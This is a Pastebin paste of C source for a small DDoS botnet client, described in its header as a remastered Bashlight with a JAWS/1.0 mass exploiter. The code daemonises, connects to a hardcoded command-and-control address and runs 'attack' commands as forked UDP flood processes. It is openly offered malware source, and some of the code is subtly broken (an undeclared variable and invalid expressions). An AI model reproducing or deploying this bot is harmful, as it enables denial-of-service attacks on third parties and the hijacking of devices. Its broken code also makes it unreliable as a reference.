Advertisement
mysql_Anarchy

[ C ] Darks Small Bot (LEAK)

Jun 4th, 2018
547
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.15 KB | None | 0 0
  1. /*
  2. Hello, im Darks
  3.  
  4. This is Bashlight by lightspeed
  5. but remastered and shrinked by
  6. the one and only dark.
  7.  
  8. We do not use '!* attack ip port time'
  9.  
  10. We use 'attack ip time'
  11.  
  12. This bot has a modded std attack and a JAWS/1.0 mass exploiter.
  13.  
  14. line 218 for config port, ip
  15. */
  16. #define _GNU_SOURCE
  17. #include <stdlib.h>
  18. #include <stdarg.h>
  19. #include <stdio.h>
  20. #include <sys/socket.h>
  21. #include <sys/types.h>
  22. #include <netinet/in.h>
  23. #include <arpa/inet.h>
  24. #include <netdb.h>
  25. #include <signal.h>
  26. #include <strings.h>
  27. #include <string.h>
  28. #include <sys/utsname.h>
  29. #include <unistd.h>
  30. #include <fcntl.h>
  31.  
  32. #include <errno.h>
  33. #include <netinet/ip.h>
  34. #include <netinet/udp.h>
  35. #include <netinet/tcp.h>
  36. #include <sys/wait.h>
  37. #include <sys/ioctl.h>
  38. #include <net/if.h>
  39. #include <time.h>
  40. #include <ctype.h>
  41. #include <sys/prctl.h>
  42. #include <sys/select.h>
  43. #define PHI 0x9e3779b9
  44. typedef uint32_t ipv4_t;
  45.  
  46. char *inet_ntoa(struct in_addr in);
  47. int cfyfa = 0, currentServer = -1, gotIP = 0;
  48. uint32_t *pids;
  49. uint32_t scanPid;
  50. uint32_t killPid;
  51. uint64_t numpids = 0;
  52. struct in_addr ourIP;
  53. static uint32_t Q[4096], c = 362436;
  54. void init_rand(uint32_t x)
  55. {
  56.  int i;
  57.  Q[0] = x;
  58.  Q[1] = x + PHI;
  59.  Q[2] = x + PHI + PHI;
  60.  for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  61. }
  62. uint32_t rand_cmwc(void)
  63. {
  64.  uint64_t t, a = 18782LL;
  65.  static uint32_t i = 4095;
  66.  uint32_t x, r = 0xfffffffe;
  67.  i = (i + 1) & 4095;
  68.  t = a * Q[i] + c;
  69.  c = (uint32_t)(t >> 32);
  70.  x = t + c;
  71.  if (x < c) {
  72.  x++;
  73.  c++;
  74.  }
  75.  return (Q[i] = r - x);
  76. }
  77. void trim(char *str)
  78. {
  79.  int i;
  80.  int begin = 0;
  81.  int end = strlen(str) - 1;
  82.  while (isspace(str[begin])) begin++;
  83.  while ((end >= begin) && isspace(str[end])) end--;
  84.  for (i = begin; i <= end; i++) str[i - begin] = str[i];
  85.  str[i - begin] = '\0';
  86. }
  87. static int *fdopen_pids;
  88. int getHost(unsigned char *toGet, struct in_addr *i)
  89. {
  90.  struct hostent *h;
  91.  if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  92.  return 0;
  93. }
  94. int recvLine(int socket, unsigned char *buf, int bufsize)
  95. {
  96.  memset(buf, 0, bufsize);
  97.  fd_set myset;
  98.  struct timeval tv;
  99.  tv.tv_sec = 30;
  100.  tv.tv_usec = 0;
  101.  FD_ZERO(&myset);
  102.  FD_SET(socket, &myset);
  103.  int selectRtn, retryCount;
  104.  if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  105.  while(retryCount < 10)
  106.  {
  107.  tv.tv_sec = 30;
  108.  tv.tv_usec = 0;
  109.  FD_ZERO(&myset);
  110.  FD_SET(socket, &myset);
  111.  if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  112.  retryCount++;
  113.  continue;
  114.  }
  115.  break;
  116.  }
  117.  }
  118.  unsigned char tmpchr;
  119.  unsigned char *cp;
  120.  int count = 0;
  121.  cp = buf;
  122.  while(bufsize-- > 1)
  123.  {
  124.  if(recv(cfyfa, &tmpchr, 1, 0) != 1) {
  125.  *cp = 0x00;
  126.  return -1;
  127.  }
  128.  *cp++ = tmpchr;
  129.  if(tmpchr == '\n') break;
  130.  count++;
  131.  }
  132.  *cp = 0x00;
  133.  return count;
  134. }
  135. int listFork()
  136. {
  137.  uint32_t parent, *newpids, i;
  138.  parent = fork();
  139.  if (parent <= 0) return parent;
  140.  numpids++;
  141.  newpids = (uint32_t*)malloc((numpids + 1) * 4);
  142.  for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  143.  newpids[numpids - 1] = parent;
  144.  free(pids);
  145.  pids = newpids;
  146.  return parent;
  147. }
  148.  
  149.   void sendSTD(unsigned char *ip, int port, int secs) {
  150.    int iSTD_Sock;
  151.    iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  152.    time_t start = time(NULL);
  153.    struct sockaddr_in sin;
  154.    struct hostent *hp;
  155.    hp = gethostbyname(ip);
  156.    bzero((char*) &sin,sizeof(sin));
  157.    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  158.    sin.sin_family = hp->h_addrtype;
  159.    sin.sin_port = port;
  160.    unsigned int a = 0;
  161. while(1)
  162. {
  163.      char *STD2_STRING = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
  164.     if (a >= 550000)
  165.     {
  166.     send(iSTD_Sock, STD2_STRING, strlen(STD2_STRING), 0);
  167.     connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  168.     if (time(NULL) >= start + secs) {
  169.     close(iSTD_Sock);
  170.    _exit(0);
  171.    }
  172.    a = 0;
  173.   }
  174.   a++;
  175.  }
  176. }
  177. void processCmd(int argc, unsigned char *argv[])
  178. {
  179. if(!strcmp(argv[0], "attack")) {
  180. unsigned char *ip = argv[1];
  181. int time = atoi(argv[3]);
  182. if(strstr(ip, ",") != NULL) {
  183. unsigned char *hi = strtok(ip, ",");
  184. while(hi != NULL) {
  185. if(!listFork()) {
  186.     int port = rand() % 10000 ;
  187. sendSTD(hi, port, time);
  188. _exit(0); }
  189. hi = strtok(NULL, ","); }
  190. } else {
  191. if (listFork()) { return; }
  192. sendSTD(ip, port, time);
  193. _exit(0);
  194. }
  195. }
  196. }
  197. int intcon(int port, char *host)
  198. {
  199.         cfyfa = socket(AF_INET, SOCK_STREAM, 0);
  200.         struct sockaddr_in dest_addr;
  201.         dest_addr.sin_family = AF_INET;
  202.         dest_addr.sin_port = htons(port);
  203.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  204.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  205.         connect(cfyfa, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  206.         return 1;
  207. }
  208.  
  209. int main(int argc, unsigned char *argv[])
  210. {
  211.  setsid();
  212.  chdir("/");
  213.  signal(SIGPIPE, SIG_IGN);
  214.  //InfectJAWS();
  215.  while(1)
  216.  {
  217. if(intcon(12, "212.237.10.177"));
  218.  char commBuf[1024];
  219.  int got = 0;
  220.  int i = 0;
  221.  while((got = recvLine(cfyfa, commBuf, 4096)) != -1)
  222.  {
  223.  for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  224.  unsigned int *newpids, on;
  225.  for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  226.  pids[on - 1] = 0;
  227.  numpids--;
  228.  newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  229.  for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  230.  free(pids);
  231.  pids = newpids;
  232.  }
  233.  commBuf[got] = 0x00;
  234.  trim(commBuf);
  235.  unsigned char *message = commBuf;
  236.  if(*sizeof(message) != 0)
  237.  {
  238.  unsigned char *nickMask = message + 1;
  239.  while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  240.  if(*nickMask == 0x00) continue;
  241.  *(nickMask) = 0x00;
  242.  nickMask = message + 1;
  243.  message = message + strlen(nickMask) + 2;
  244.  while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  245.  unsigned char *command = message;
  246.  while(*message != ' ' && *message != 0x00) message++;
  247.  *message = 0x00;
  248.  message++;
  249.  unsigned char *tmpcommand = command;
  250.  while(*tmpcommand)
  251.  {
  252.  *tmpcommand = toupper(*tmpcommand);
  253.  tmpcommand++;
  254.  }
  255.  unsigned char *params[10];
  256.  int paramsCount = 1;
  257.  unsigned char *pch = strtok(message, " ");
  258.  params[0] = command;
  259.  processCmd(paramsCount, params);
  260.  
  261.  }
  262.  }
  263.  }
  264.  return 0;
  265. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement